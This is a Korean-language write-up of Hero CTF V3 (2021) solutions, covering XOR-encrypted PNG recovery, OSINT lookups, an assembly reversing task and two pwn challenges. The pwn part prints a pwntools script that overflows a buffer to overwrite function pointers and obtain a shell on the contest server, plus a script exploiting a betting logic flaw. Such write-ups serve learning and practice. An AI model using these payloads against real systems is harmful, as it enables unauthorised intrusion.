5un9hun
5un9hun Have A Nice Day!

2021 Hero CTF V3 Write-Up

2021 Hero CTF V3 Write-Up

Crypto

1. h4XOR (75)

Problem

image

xor.py

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from os import urandom
from random import randint
from pwn import xor

input_img = open("flag.png", "rb").read()
outpout_img = open("flag.png.enc", "wb")

key = urandom(8) + bytes([randint(0, 9)])
outpout_img.write(xor(input_img, key))

flag.png.enc
image

먼저 png 파일은 다음과 같이 xor.py에 의해서 암호화가 진행되었다. xor연산을 진행하여 key의 바이트수 만큼 블럭으로 xor를 진행하였다. key값을 알아내는 것이 핵심이다.

urandom(8) + byte([randint(0,9)]) 로 총 9바이트의 블럭마다 암호화를 진행한다.

이 때 png 파일의 시그니쳐 헤더는 89 50 4E 47 0D 0A 1A 0A 이므로
앞의 urandom(8)자리는 flag.png.enc의 앞의 8자리와 파일 시그니처의 xor연산으로 구할 수 있다.

나머지 한 바이트는 0~9까지의 숫자 중 하나이므로, 그냥 brute force를 진행하였다.

따라서 복호화 산물은 총 10가지의 사진이 나온다.

다음은 복호화 스크립트이다.

solve.py

1
2
3
4
5
6
7
8
from pwn import xor

f = open("flag.png.enc", "rb").read()
for i in range(10):
    key = b'\x5e\x37\xd5\x6c\xc7\x3b\x60\xb3' + bytes([i])
    print(key)
    output = open("flag"+str(i)+".png", "wb")
    output.write(xor(f, key))

key의 앞자리 8바이트는 urandom값이고, 나머지 한 바이트는 0~9까지의 숫자이다.

스크립트의 결과 산물로 다음과 같이 10개의 png파일이 생성되었고, 사진을 보면 randint값이 9일 때, 복호화가 된 것을 확인할 수 있다.

result

image

flag9.png

image

FLAG

1
FLAG : Hero{123_xor_321}

MISC

1. Russian Doll (50)

Problem

image

solve

문제 파일의 archive.zip파일을 보면 수많은 폴더가 존재해서, 직접 들어가보면 엄청난 시간이 소요될 것이다.
image

압출파일을 바이너리 파일로 살펴보면, 내용이 다 보이기 때문에 HxD프로그램으로 연 뒤에 Hero{ 라는 문자열을 찾았다.
image

FLAG

1
FLAG : Hero{if_yOu_gOt_HEre_By_clIcKInG_mANnUaLly_YoU_sHOuLd_REalLy_SeE_SoMeOne}

OSINT

1. Find Me (10)

Problem

image

사진을 통해 장소의 이름이 플래그가 된다고 한다.

사진은 다음과 같다.
image

구글 이미지 검색 기능을 이용해 검색하였더니 다음과 같은 결과가 나왔다. image

FLAG

1
FLAG : Hero{Porte Mordelaise}

2. Social ID #1 (15)

Problem

image

@HeroCTF의 트위터 ID를 찾으면 된다. 다음 사이트에서 @HeroCTF를 검색하면 ID값이 나온다.

https://tweeterid.com

image

FLAG

1
FLAG: Hero{815907006708060160}

3. Social ID #2 (50)

Problem

image

이번 문제는 twitter ID를 통해 트위터 이름을 알아내면 된다.

이전 문제와 같은 사이트에서 Twitter ID를 넣으면 유저명이 나온다. image

FLAG

1
FLAG : Hero{@elonmusk}

Pwn

1. Win, but twisted (30)

Problem

image

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int UNLOCKED = 0;

void set_lock()
{
    printf("Setting lock !");
    UNLOCKED = 1;
}

void shell()
{
    printf("In shell function ! ");
    if (UNLOCKED == 1)
    {
        printf("Getting shell ! ");
        setreuid(geteuid(), geteuid());
        system("/bin/sh");
    }

    
}

void hello_hero(int hero)
{
    printf("It looks like that's something a Hero would say\n");
}

void look_like()
{
    printf("Please keep being one. :)\n");
}

int main()
{
    int (*look)() = look_like;
    int (*hello)() = hello_hero;
    char buffer[32];

    printf("What would a hero say ?\n>>> ");
    fgets(buffer, 44, stdin);
    hello();
    look();

}

shell함수에서 쉘을 얻는 법은 set_lock 함수에서 전역 변수 UNLOCKED = 1을 만들어주어야 한다.
main함수를 살펴보면 fgets를 통해 44바이트를 입력받고, hello함수와 look함수를 호출하는데
이 때, hello함수를 set_lock함수로 바꾸고, look함수를 shell함수로 바꾸면, 쉘을 얻을 수 있다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r = remote('pwn.heroctf.fr', 9003)

shell = 0x8049999
set_lock = 0x8049965

payload = b''
payload += b'A'*0x20
payload += p32(set_lock)
payload += p32(shell)

r.sendline(payload)

r.interactive()

image

바이너리 파일에서는 쉘을 주는것이 아니라 바로 플래그 파일을 출력시켜준다.

FLAG

1
FLAG : Hero{Tw1sT3D_w1N_FuNcTi0N}

2. High Stakes (50)

Problem

image

이 문제같은 경우 바이너리 파일을 주지 않았습니다. 바로 nc연결을 통해서 문제를 해결해야 한다.

image

접속하면 다음과 같이 메뉴가 존재한다.
처음에 100달러를 가지고 있다.

1번 메뉴는 0-100달러로, 0-36번 숫자를 배팅하는 메뉴이다.
2번 메뉴는 현재 돈을 나타낸다.
3번 메뉴는 현재 배팅한 을 나타낸다.
4번 메뉴는 베팅 결과이다.
5번 메뉴는 상점으로 여기서 3600달러에 flag를 판다.
6번 메뉴는 돈충전하는 메뉴?인거 같은데 누르면 충전 안된다. 별로 상관없는 메뉴이니 넘어가도 된다.
7번 메뉴는 나가는 메뉴이다.

random함수로 계속 배팅할 때마다 숫자가 계속 바뀌는 거 같은데, 한 번 내 운에 맡겨서 1번 메뉴에서 적당히 운빨로 숫자를 맞췄는데,
이 사기꾼들이 숫자 맞아도 실패했다고 돈을 몰수해갔다.

1번 메뉴에서 배팅을 하고, 4번을 통해 결과를 얻는 것인데 1번을 통한 배팅에서 배팅 기록은 남지만, 돈은 차감이 되지 않는다.
이 점을 이용해서 파이썬 스크립트로 0~36까지의 숫자 모두 배팅한 후 4번을 통해 결과를 얻었다.

다음과 같이 0-36까지 모두 배팅한 기록을 볼 수 있다.
image

이제 결과를 확인하면, 다음과 같이 36번 모두 확인할 수 있고, 7200달러를 얻고 3600달러를 잃어서, 3600달러를 얻게된다. image

따라서 총 3600달러를 획득했고, 이 돈으로 flag를 구입할 수 있다.

image

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

r = remote('pwn.heroctf.fr', 9001)

r.recvuntil('>>> ')

for i in range(37):
    r.sendline(b'1') #bet
    r.sendline(b'%d'%i)
    r.sendline(b'100')

r.sendline(b'4') #roulette
r.sendline(b'5') #shop

r.recvuntil(b';)') 

r.sendline(b'3') #flag

r.interactive()

Result

image

FLAG

1
FLAG : Hero{g4MBl1nG_f0R_dA_fL4G}

Reverse

1. EasyAssembly (40)

Problem

image

어셈블리 파일을 통해 input과 modified 변수의 값을 찾으면 된다.

우선 어셈블리 파일은 다음과 같다.

Assembly CODE

        .text
        .globl  value
        .data
        .align 4
        .type   value, @object
        .size   value, 4
value:
        .long   24564753
        .globl  isGood
        .align 4
        .type   isGood, @object
        .size   isGood, 4
isGood:
        .long   12345
        .section        .rodata
        .align 8
.LC0:
        .string "Hey ! Have you got a password for me ? "
        .text
        .globl  getInput
        .type   getInput, @function
getInput:
.LFB6:
        .cfi_startproc
        endbr64
        pushq   %rbp    #
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        movq    %rsp, %rbp      #,
        .cfi_def_cfa_register 6
        subq    $32, %rsp       #,
# EasyAssembly.c:7: int getInput(void){
        movq    %fs:40, %rax    # MEM[(<address-space-1> long unsigned int *)40B], tmp88
        movq    %rax, -8(%rbp)  # tmp88, D.2854
        xorl    %eax, %eax      # tmp88
# EasyAssembly.c:10:    printf("Hey ! Have you got a password for me ? ");
        leaq    .LC0(%rip), %rdi        #,
        movl    $0, %eax        #,
        call    printf@PLT      #
# EasyAssembly.c:11:    fgets(input, 12, stdin);
        movq    stdin(%rip), %rdx       # stdin, stdin.0_1
        leaq    -20(%rbp), %rax #, tmp85
        movl    $12, %esi       #,
        movq    %rax, %rdi      # tmp85,
        call    fgets@PLT       #
# EasyAssembly.c:12:    return atoi(input);
        leaq    -20(%rbp), %rax #, tmp86
        movq    %rax, %rdi      # tmp86,
        call    atoi@PLT        #
# EasyAssembly.c:13: }
        movq    -8(%rbp), %rcx  # D.2854, tmp89
        xorq    %fs:40, %rcx    # MEM[(<address-space-1> long unsigned int *)40B], tmp89
        je      .L3     #,
        call    __stack_chk_fail@PLT    #
.L3:
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE6:
        .size   getInput, .-getInput
        .section        .rodata
        .align 8
.LC1:
        .string "Well done ! You can validate with the flag Hero{%d:%d}\n"
        .align 8
.LC2:
        .string "Argh... Try harder buddy you can do it !"
        .text
        .globl  main
        .type   main, @function
main:
.LFB7:
        .cfi_startproc
        endbr64
        pushq   %rbp    #
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        movq    %rsp, %rbp      #,
        .cfi_def_cfa_register 6
        subq    $16, %rsp       #,
# EasyAssembly.c:17:    int input = getInput();
        call    getInput        #
        movl    %eax, -8(%rbp)  # tmp85, input
# EasyAssembly.c:19:    modified = input >> 2;
        movl    -8(%rbp), %eax  # input, tmp89
        sarl    $2, %eax        #, tmp88
        movl    %eax, -4(%rbp)  # tmp88, modified
# EasyAssembly.c:21:    if(modified == 1337404)
        cmpl    $1337404, -4(%rbp)      #, modified
        jne     .L5     #,
# EasyAssembly.c:22:            isGood = 0;
        movl    $0, isGood(%rip)        #, isGood
.L5:
# EasyAssembly.c:24:    if(!isGood)
        movl    isGood(%rip), %eax      # isGood, isGood.1_1
# EasyAssembly.c:24:    if(!isGood)
        testl   %eax, %eax      # isGood.1_1
        jne     .L6     #,
# EasyAssembly.c:25:            printf("Well done ! You can validate with the flag Hero{%d:%d}\n", input, modified);
        movl    -4(%rbp), %edx  # modified, tmp90
        movl    -8(%rbp), %eax  # input, tmp91
        movl    %eax, %esi      # tmp91,
        leaq    .LC1(%rip), %rdi        #,
        movl    $0, %eax        #,
        call    printf@PLT      #
        jmp     .L7     #
.L6:
# EasyAssembly.c:28:            puts("Argh... Try harder buddy you can do it !");
        leaq    .LC2(%rip), %rdi        #,
        call    puts@PLT        #
.L7:
# EasyAssembly.c:30:    return EXIT_SUCCESS;
        movl    $0, %eax        #, _11
# EasyAssembly.c:31: }
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE7:
        .size   main, .-main
        .ident  "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
        .section        .note.GNU-stack,"",@progbits
        .section        .note.gnu.property,"a"
        .align 8
        .long    1f - 0f
        .long    4f - 1f
        .long    5
0:
        .string  "GNU"
1:
        .align 8
        .long    0xc0000002
        .long    3f - 2f
2:
        .long    0x3
3:
        .align 8
4:

어셈블리 보기 귀찮은데, 감사하게 주석으로 코드가 다 적혀있다. 이 코드들을 모아봤더니 다음과 같다.

C CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int getInput(void){
	printf("Hey ! Have you got a password for me ? ");
	fgets(input, 12, stdin);
	return atoi(input);
}

void main() {
	int input = getInput();
	modified = input >> 2;
	if(modified == 1337404)  isGood = 0;
	if(!isGood) printf("Well done ! You can validate with the flag Hero{%d:%d}\n", input, modified);
	else puts("Argh... Try harder buddy you can do it !");
	return EXIT_SUCCESS;
}

getInput()을 통해 입력값을 input 변수에 넣고 modified 변수에 input » 2의 결과를 넣어서 modified가 1337404이면 flag를 출력시켜준다.
modified는 1337404인 것을 알았고, input값은 역연산을 통해 input = modified « 2; 임을 알 수 있다.
1337404 « 2 == 5349616 이므로, input = 5349616; 임을 알 수 있다.

FLAG

1
FLAG : Hero{5349616:1337404}

comments powered by Disqus